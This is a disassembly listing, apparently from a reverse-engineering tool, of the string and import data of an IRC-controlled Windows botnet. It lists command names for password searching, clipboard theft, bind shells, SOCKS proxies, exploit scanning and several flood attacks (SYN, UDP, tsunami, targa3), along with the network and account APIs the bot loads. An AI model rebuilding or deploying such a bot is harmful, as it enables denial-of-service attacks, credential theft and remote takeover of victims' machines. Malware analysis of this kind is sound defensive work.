64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 4 unk_42C23C db 2Dh ; - ; DATA XREF: sub_401AC7+1FBFo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_3 db ' Already running.',0 align 4 unk_42C25C db 2Dh ; - ; DATA XREF: sub_401AC7:loc_403A70o db 3, 34h, 2 db 4Dh ; M db 61h, 2 dup(53h) db 20h db 53h, 63h, 41h db 6Eh ; n db 2, 3, 2Dh aFailedToSta_25 db ' Failed to start scan, port is invalid.',0 unk_42C294 db 2Dh ; - ; DATA XREF: sub_401AC7+1F5Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_26 db '- Failed to start scan thread, error: <%d>.',0 align 10h unk_42C2D0 db 2Dh ; - ; DATA XREF: sub_401AC7+1EEBo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanStart db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 aSequential db 'Sequential',0 ; DATA XREF: sub_401AC7+1EC0o ; sub_401AC7+5B6Ao align 4 aRandom db 'Random',0 ; DATA XREF: sub_401AC7+1EB9o ; sub_401AC7+5B63o align 10h dword_42C350 dd 234032Dh, 3025A56h ; DATA XREF: sub_401AC7+1CFFo aAlreadyDScanni db '- Already %d scanning threads. Too many specified.',0 align 4 unk_42C38C db 2Dh ; - ; DATA XREF: sub_401AC7+1CA2o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_27 db 'Failed to start search thread, error: <%d>.',0 unk_42C3C8 db 2Dh ; - ; DATA XREF: sub_401AC7+1C10o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 aFp db 'fp',0 ; DATA XREF: sub_401AC7+1BE2o align 4 aFindpass db 'findpass',0 ; DATA XREF: sub_401AC7+1BD1o align 10h aNoticeSPhoning db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+1BBBo aPhonehome db 'phonehome',0 ; DATA XREF: sub_401AC7+1BA4o align 10h off_42C440 dd offset word_587A56 ; DATA XREF: sub_401AC7+1B8Fo aAsn445 db 'asn445',0 ; DATA XREF: sub_401AC7+1B7Ao align 4 unk_42C44C db 3 ; DATA XREF: sub_401AC7+1B2Ao a81VrxCrashingB db '8,1-VrX- Crashing bot.',0 aShitycrash db 'shitycrash',0 ; DATA XREF: sub_401AC7+1B14o ; sub_401AC7+1B64o align 10h aTftp db 'tftp',0 ; DATA XREF: sub_401AC7+1AFFo align 4 aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401AC7+1AEAo align 4 aHttp db 'http',0 ; DATA XREF: sub_401AC7+1AD5o align 4 aHttpserver db 'httpserver',0 ; DATA XREF: sub_401AC7+1AC0o align 4 aRlogin db 'rlogin',0 ; DATA XREF: sub_401AC7+1AABo align 10h aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401AC7+1A96o align 10h aCip db 'cip',0 ; DATA XREF: sub_401AC7+1A81o aCurrentip db 'currentip',0 ; DATA XREF: sub_401AC7+1A6Co align 10h aFdns db 'fdns',0 ; DATA XREF: sub_401AC7+1A57o align 4 aFlushdns db 'flushdns',0 ; DATA XREF: sub_401AC7+1A42o align 4 aFarp db 'farp',0 ; DATA XREF: sub_401AC7+1A2Do align 4 aFlusharp db 'flusharp',0 ; DATA XREF: sub_401AC7+1A18o align 4 aGc db 'gc',0 ; DATA XREF: sub_401AC7+1A03o align 4 aGetclip db 'getclip',0 ; DATA XREF: sub_401AC7+19EEo unk_42C4F4 db 2Dh ; - ; DATA XREF: sub_401AC7+19B0o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aOff db 'off',0 ; DATA XREF: sub_401AC7+1995o ; sub_401AC7+3C85o ... aSpoof db 'spoof',0 ; DATA XREF: sub_401AC7+1981o align 4 unk_42C528 db 3 ; DATA XREF: sub_401AC7+1961o a81VrxLoginList db '8,1-VrX- Login list complete.',0 align 4 aD_S db '%d. %s',0 ; DATA XREF: sub_401AC7+192Co align 10h aEmpty db '<Empty>',0 ; DATA XREF: sub_401AC7:loc_4033E6o dword_42C558 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401AC7+18F5o dword_42C56C dd 6F6877h ; DATA XREF: sub_401AC7+18D8o dword_42C570 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401AC7+18CDo dword_42C57C dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401AC7+18C8o aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401AC7+18AFo aOcmd db 'ocmd',0 ; DATA XREF: sub_401AC7+189Ao align 4 aOpencmd db 'opencmd',0 ; DATA XREF: sub_401AC7+1885o aDll db 'dll',0 ; DATA XREF: sub_401AC7+1870o aTestdlls db 'testdlls',0 ; DATA XREF: sub_401AC7+185Bo align 4 aDrv db 'drv',0 ; DATA XREF: sub_401AC7+1846o aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401AC7+1831o align 4 aUp db 'up',0 ; DATA XREF: sub_401AC7+181Co align 4 aUptime db 'uptime',0 ; DATA XREF: sub_401AC7+1807o align 10h aPs db 'ps',0 ; DATA XREF: sub_401AC7+17F2o align 4 aProcs db 'procs',0 ; DATA XREF: sub_401AC7+17DDo align 4 aKosomak db 'KOSOMAK',0 ; DATA XREF: sub_401AC7+17C8o aKosomakyad db 'KOSOMAKYAD',0 ; DATA XREF: sub_401AC7+17B3o align 10h aSi db 'si',0 ; DATA XREF: sub_401AC7+179Eo align 4 aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401AC7+1789o aNi db 'ni',0 ; DATA XREF: sub_401AC7+1774o align 10h aNetinfo db 'netinfo',0 ; DATA XREF: sub_401AC7+175Fo aClg db 'clg',0 ; DATA XREF: sub_401AC7+174Ao aClearlog db 'clearlog',0 ; DATA XREF: sub_401AC7+1735o align 4 aLg db 'lg',0 ; DATA XREF: sub_401AC7+1720o align 4 aLog db 'log',0 ; DATA XREF: sub_401AC7+170Bo aAl db 'al',0 ; DATA XREF: sub_401AC7+16F6o align 4 aAliases db 'aliases',0 ; DATA XREF: sub_401AC7+16E1o aT: ; DATA XREF: sub_401AC7+16CCo ; ___:00438324o unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_401AC7+16B7o unk_42C638 db 3 ; DATA XREF: sub_401AC7+1683o a81VrxFailedToR db '8,1-VrX- Failed to reboot system.',0 align 4 unk_42C65C db 3 ; DATA XREF: sub_401AC7+167Co a81VrxRebooting db '8,1-VrX- Rebooting system.',0 aR3start db 'r3start',0 ; DATA XREF: sub_401AC7+1665o aI: ; DATA XREF: sub_401AC7+1650o ; ___:004382F8o unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: sub_401AC7+163Bo align 4 aS_0: ; DATA XREF: sub_401AC7+1626o ; ___:00438374o unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_401AC7+1611o align 4 aQ: ; DATA XREF: sub_401AC7+15FCo ; ___:off_437F90o ... unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_401AC7+15E7o align 10h aDc db 'dc',0 ; DATA XREF: sub_401AC7+15D2o align 4 aDisconnect db 'disconnect',0 ; DATA XREF: sub_401AC7+15BDo align 10h aR: ; DATA XREF: sub_401AC7+15A8o ; sub_401AC7+3D92o ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_401AC7+1593o align 10h aExplist db 'explist',0 ; DATA XREF: sub_401AC7+157Eo aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401AC7+1569o aCbstats db 'cbstats',0 ; DATA XREF: sub_401AC7+1554o aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401AC7+153Fo align 10h aTrstats db 'trstats',0 ; DATA XREF: sub_401AC7+152Ao aTransferstats db 'transferstats',0 ; DATA XREF: sub_401AC7+1515o align 4 aStats db 'stats',0 ; DATA XREF: sub_401AC7+1500o align 10h aScanstats db 'scanstats',0 ; DATA XREF: sub_401AC7+14EBo align 4 dword_42C71C dd 312C3803h, 4043532Dh, 2D4Eh ; DATA XREF: sub_401AC7+14E0o aScan_0 db 'Scan',0 ; DATA XREF: sub_401AC7+14DBo align 10h aScanstop db 'scanstop',0 ; DATA XREF: sub_401AC7+14C2o align 4 dword_42C73C dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401AC7+14B7o aSecure_0 db 'Secure',0 ; DATA XREF: sub_401AC7+14B2o align 4 aSecurestop db 'securestop',0 ; DATA XREF: sub_401AC7+1499o align 10h dword_42C760 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401AC7+148Eo aClone db 'Clone',0 ; DATA XREF: sub_401AC7+1489o align 4 aClonestop db 'clonestop',0 ; DATA XREF: sub_401AC7+1470o align 4 aPsstop db 'psstop',0 ; DATA XREF: sub_401AC7+145Bo align 4 aProcsstop db 'procsstop',0 ; DATA XREF: sub_401AC7+1446o align 4 aFfstop db 'ffstop',0 ; DATA XREF: sub_401AC7+1431o align 10h aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401AC7+141Co align 10h dword_42C7B0 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401AC7+1411o aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401AC7+13F3o align 4 aPingstop db 'pingstop',0 ; DATA XREF: sub_401AC7+13CAo align 4 aUdpstop db 'udpstop',0 ; DATA XREF: sub_401AC7+13A1o aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401AC7+1378o align 4 aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401AC7+134Fo unk_42C7F8 db 2Dh ; - ; DATA XREF: sub_401AC7+1335o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_42C82C dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401AC7+12FAo ; sub_401AC7+1396o dword_42C83C dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401AC7+12F5o ; sub_401AC7+1391o dword_42C84C dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401AC7+12DCo ; sub_401AC7+136Do dword_42C85C dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401AC7+12D7o ; sub_401AC7+1368o dword_42C86C dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401AC7+127Co ; sub_401AC7+13E8o dword_42C878 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401AC7+1277o ; sub_401AC7+13E3o dword_42C884 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401AC7+125Eo ; sub_401AC7+13BFo dword_42C890 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401AC7+1259o ; sub_401AC7+13BAo aPacketstop db 'packetstop',0 ; DATA XREF: sub_401AC7+11F9o align 4 dword_42C8A8 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401AC7+11EEo ; sub_401AC7+12BBo dword_42C8B4 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401AC7+11E9o ; sub_401AC7+12B6o aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401AC7+11D0o align 4 dword_42C8CC dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401AC7+11C5o ; sub_401AC7+129Do dword_42C8DC dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401AC7+11C0o ; sub_401AC7+1298o aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401AC7+11A7o align 4 dword_42C8F8 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401AC7+119Co ; sub_401AC7+131Bo dword_42C908 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401AC7+1197o ; sub_401AC7+1316o aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401AC7+117Eo align 4 dword_42C924 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401AC7+1173o ; sub_401AC7+123Do dword_42C930 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401AC7+116Eo ; sub_401AC7+1238o aSynstop db 'synstop',0 ; DATA XREF: sub_401AC7+1155o dword_42C944 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401AC7+114Ao ; sub_401AC7+121Fo dword_42C950 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401AC7+1145o ; sub_401AC7+121Ao dword_42C95C dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401AC7+112Co dword_42C968 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401AC7+1121o dword_42C978 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401AC7+111Co aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401AC7+1103o align 4 dword_42C998 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401AC7+10F8o dword_42C9A4 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401AC7+10F3o aLogstop db 'logstop',0 ; DATA XREF: sub_401AC7+10DAo dword_42C9B8 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401AC7+10CFo aHttpstop db 'httpstop',0 ; DATA XREF: sub_401AC7+10B1o align 4 dword_42C9D4 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401AC7+10A6o aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401AC7+1088o align 10h dword_42C9F0 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401AC7+107Do aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401AC7+105Fo align 4 aS4 db 's4',0 ; DATA XREF: sub_401AC7+104Ao align 10h aSocks4 db 'socks4',0 ; DATA XREF: sub_401AC7+1035o align 4 dword_42CA18 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401AC7+102Ao aServer_0 db 'Server',0 ; DATA XREF: sub_401AC7+1025o ; sub_401AC7+1078o ... align 4 aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401AC7+100Co align 4 aBd db 'bd',0 ; DATA XREF: sub_401AC7+FF7o align 4 aBindshell db 'bindshell',0 ; DATA XREF: sub_401AC7+FE2o align 4 aUnsec db 'unsec',0 ; DATA XREF: sub_401AC7+FCDo align 4 aUnsecure db 'unsecure',0 ; DATA XREF: sub_401AC7+FB8o align 4 aSec db 'sec',0 ; DATA XREF: sub_401AC7+FA3o ; sub_401AC7+2D36o aSecure db 'secure',0 ; DATA XREF: sub_401AC7+F8Eo ; sub_401AC7+2D25o align 4 aSt db 'st',0 ; DATA XREF: sub_401AC7+F79o align 4 aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401AC7+F64o align 4 aRz db 'rz',0 ; DATA XREF: sub_401AC7+F4Fo align 4 aRulez db 'rulez',0 ; DATA XREF: sub_401AC7+F3Ao align 10h aVer db 'ver',0 ; DATA XREF: sub_401AC7+F25o aVersion db 'version',0 ; DATA XREF: sub_401AC7+F10o aLo db 'lo',0 ; DATA XREF: sub_401AC7+EFBo align 10h aLogout db 'logout',0 ; DATA XREF: sub_401AC7+EE6o align 4 aDi3 db 'di3',0 ; DATA XREF: sub_401AC7+EBCo ; sub_401AC7+ED1o aRn db 'rn',0 ; DATA XREF: sub_401AC7+EA7o align 10h aRndnick db 'rndnick',0 ; DATA XREF: sub_401AC7+E8Fo a63 db '63',0 ; DATA XREF: sub_401AC7+D5Co align 4 asc_42CABC: ; DATA XREF: sub_401AC7+D34o unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_401AC7+CF7o align 4 aServer_1 db '$server',0 ; DATA XREF: sub_401AC7+CECo aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401AC7+CDBo align 4 aChan db '$chan',0 ; DATA XREF: sub_401AC7+CBFo align 4 aUser_1 db '$user',0 ; DATA XREF: sub_401AC7+CAEo align 4 aMe db '$me',0 ; DATA XREF: sub_401AC7+C9Co aD db '$%d',0 ; DATA XREF: sub_401AC7+C2Eo aD_0 db '$%d-',0 ; DATA XREF: sub_401AC7+B6Ao align 4 aC: ; DATA XREF: sub_401AC7+A7Eo ; sub_401AC7+4AEFo unicode 0, <c>,0 unk_42CB00 db 2Dh ; - ; DATA XREF: sub_401AC7+A58o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 4 unk_42CB34 db 2Dh ; - ; DATA XREF: sub_401AC7+A47o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 4 unk_42CB64 db 2Dh ; - ; DATA XREF: sub_401AC7+A36o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_28 db '- Failed to start chat thread, error: <%d>.',0 align 4 unk_42CB9C db 2Dh ; - ; DATA XREF: sub_401AC7+9C7o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: sub_401AC7+933o align 4 unk_42CBC4 db 2Dh ; - ; DATA XREF: sub_401AC7+919o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 unk_42CC08 db 2Dh ; - ; DATA XREF: sub_401AC7+8FBo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_29 db '- Failed to start transfer thread, error: <%d>.',0 align 4 dword_42CC44 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401AC7+8EAo dd 0A0Dh dword_42CC5C dd 4E495001h, 47h ; DATA XREF: sub_401AC7+8B6o dword_42CC64 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401AC7+8ABo dd 0D017325h, 0Ah dword_42CC80 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401AC7+87Ao dword_42CC8C dd 23h ; DATA XREF: sub_401AC7+7F1o ; sub_40CD2A+1Bo unk_42CC90 db 2Dh ; - ; DATA XREF: sub_401AC7+760o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 10h aS_1 db '%s',0 ; DATA XREF: sub_401AC7+6E7o ; sub_401AC7+970o ... align 4 aSend_0 db 'SEND',0 ; DATA XREF: sub_401AC7+6C0o align 4 dword_42CCCC dd 43434401h, 0 ; DATA XREF: sub_401AC7+6A2o dword_42CCD4 dd 323333h ; DATA XREF: sub_401AC7+62Co ; sub_401AC7+AB4o ... aNotice db 'NOTICE',0 ; DATA XREF: sub_401AC7+60Ao ; sub_409862+Fo align 10h aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401AC7+5FEo ; sub_409862+16o unk_42CCE8 db 3 ; DATA XREF: sub_401AC7+5ADo a81VrxUserSLo_0 db '8,1-VrX- User: %s logged out.',0 align 4 unk_42CD08 db 3 ; DATA XREF: sub_401AC7+58Do a81VrxJoinedC_0 db '8,1-VrX- Joined channel: %s.',0 align 4 a353 db '353',0 ; DATA XREF: sub_401AC7+55Co aQuit db 'QUIT',0 ; DATA XREF: sub_401AC7+51Fo align 4 aPart db 'PART',0 ; DATA XREF: sub_401AC7+50Eo ; sub_401AC7+5CAo align 4 aSS db ':%s%s',0 ; DATA XREF: sub_401AC7+4E9o align 4 aNick db 'NICK',0 ; DATA XREF: sub_401AC7+3CBo align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+36Eo ; sub_401AC7+5EEo unk_42CD5C db 3 ; DATA XREF: sub_401AC7+355o ; sub_401AC7+2E89o ... a81VrxUserSLo_1 db '8,1-VrX- User %s logged out.',0 align 4 aKick db 'KICK',0 ; DATA XREF: sub_401AC7+2E4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+28Do ; sub_401AC7+7A99o ... align 10h a433 db '433',0 ; DATA XREF: sub_401AC7+265o ; sub_417B1E:loc_417B95o a@: ; DATA XREF: sub_401AC7+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_401AC7+22Ao a005 db '005',0 ; DATA XREF: sub_401AC7+215o a001 db '001',0 ; DATA XREF: sub_401AC7+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+1E4o ; sub_401AC7+3B8o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+1C3o align 10h aPing db 'PING',0 ; DATA XREF: sub_401AC7+1A9o ; sub_417B1E+50o align 4 asc_42CDC8: ; DATA XREF: sub_401AC7+19Ao ; sub_401AC7+7BA2o unicode 0, <!>,0 asc_42CDCC: ; DATA XREF: sub_401AC7+A8o ; sub_401AC7+E34o ... unicode 0, < >,0 asc_42CDD0 db ' :',0 ; DATA XREF: sub_401AC7+86o ; sub_401AC7:loc_4025D3o align 4 aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409862+58o aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4098FD+C7Fo align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4098FD+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_4098FD:loc_40A567o align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_4098FD+C15o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_4098FD+C08o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_4098FD+BFBo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_4098FD+BEEo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_4098FD+BE1o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_4098FD+BD9o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_4098FD:loc_40A4C9o align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_4098FD+B97o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_4098FD+B8Fo align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_4098FD:loc_40A47Fo aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4098FD+B3Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4098FD+B30o align 10h aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_4098FD+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_4098FD+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_4098FD:loc_40A40Bo aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4098FD+AD9o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_4098FD+AD1o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_4098FD:loc_40A3C1o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4098FD+A8Fo align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4098FD+A87o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_4098FD:loc_40A377o align 4 aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_4098FD+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_4098FD+9ECo ; sub_418AA2+65o align 10h aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_4098FD+9DFo align 10h aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_4098FD+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_4098FD+9C5o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_4098FD+9B8o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_4098FD+9ABo align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_4098FD+99Eo align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4098FD+991o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_4098FD+984o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_4098FD+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_4098FD+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_4098FD:loc_40A25Bo ; sub_418AA2+58o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_4098FD+921o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_4098FD+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_4098FD+90Co align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_4098FD:loc_40A1FCo align 10h aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4098FD+8D2o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_4098FD+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_4098FD+853o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_4098FD+846o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_4098FD+839o align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_4098FD+82Co align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_4098FD+81Fo align 10h aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_4098FD+812o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_4098FD+805o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4098FD+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_4098FD+7F0o align 10h aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_4098FD:loc_40A0DCo aClosesocket db 'closesocket',0 ; DATA XREF: sub_4098FD+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_4098FD+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_4098FD+68Co align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_4098FD+67Fo align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_4098FD+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_4098FD+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_4098FD+658o align 4 aAccept db 'accept',0 ; DATA XREF: sub_4098FD+64Bo align 10h aListen db 'listen',0 ; DATA XREF: sub_4098FD+63Eo align 4 aSelect db 'select',0 ; DATA XREF: sub_4098FD+631o align 10h aBind db 'bind',0 ; DATA XREF: sub_4098FD+629o align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_4098FD+617o align 4 aRecv db 'recv',0 ; DATA XREF: sub_4098FD+60Ao align 4 aSendto db 'sendto',0 ; DATA XREF: sub_4098FD+5FDo align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_4098FD+5E3o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_4098FD+5D6o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_4098FD+5C9o align 4 aHtons db 'htons',0 ; DATA XREF: sub_4098FD+5BCo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_4098FD+5AFo align 10h aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_4098FD+5A2o align 4 aConnect db 'connect',0 ; DATA XREF: sub_4098FD+595o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_4098FD+588o aSocket db 'socket',0 ; DATA XREF: sub_4098FD+57Bo align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_4098FD+56Eo align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_4098FD+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_4098FD+554o align 10h a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_4098FD+547o align 10h aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_4098FD+53Ao align 10h aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_4098FD+52Do align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_4098FD+525o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_4098FD+514o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: 